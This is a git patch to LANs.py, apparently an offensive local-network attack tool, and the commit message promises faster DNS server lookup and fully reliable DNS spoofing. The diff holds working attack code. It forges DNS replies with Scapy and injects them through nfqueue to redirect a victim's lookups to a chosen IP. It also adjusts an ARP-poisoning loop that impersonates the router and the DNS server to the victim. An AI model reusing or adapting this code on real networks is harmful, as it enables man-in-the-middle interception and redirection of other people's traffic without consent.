From 8a7a9d2ffc7ffcb5d849e9e4a89b5d6695ee1350 Mon Sep 17 00:00:00 2001 From: DanMcInerney Date: Sat, 4 Jan 2014 01:49:45 -0500 Subject: [PATCH] faster DNS server lookup + DNS spoofing 100% reliable (again, broke it a while ago) --- LANs.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/LANs.py b/LANs.py index 4514f03..4fa1f35 100755 --- a/LANs.py +++ b/LANs.py @@ -709,11 +709,10 @@ class Parser(): self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto) def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP): - payload.set_verdict(nfqueue.NF_DROP) - print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP - logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n') +# print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP +# logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n') p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP)) - send(p) + payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p)) print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+' to '+rIP+'\n') @@ -1034,13 +1033,15 @@ def main(args): except Exception: exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address") if dnsIP != routerIP: - try: - dnsMAC = Spoof().originalMAC(dnsIP) - print "[*] DNS server MAC: " + dnsMAC - except Exception: - print "[-] Could not get DNS server MAC address; continuing" - if dnsIP == routerIP: - dnsMAC = routerMAC + if IPprefix in dnsIP: + try: + dnsMAC = Spoof().originalMAC(dnsIP) + print "[*] DNS server MAC: " + dnsMAC + except Exception: + print "[-] Could not get DNS server MAC address; continuing" + dnsMAC = routerMAC + else: + dnsMAC = routerMAC setup(victimMAC) Queued(args) @@ -1080,7 +1081,7 @@ def main(args): while 1: # If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router - if not dnsIP == routerIP and dnsMAC: + if dnsIP != routerIP and dnsMAC != routerMAC: Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) time.sleep(1.5)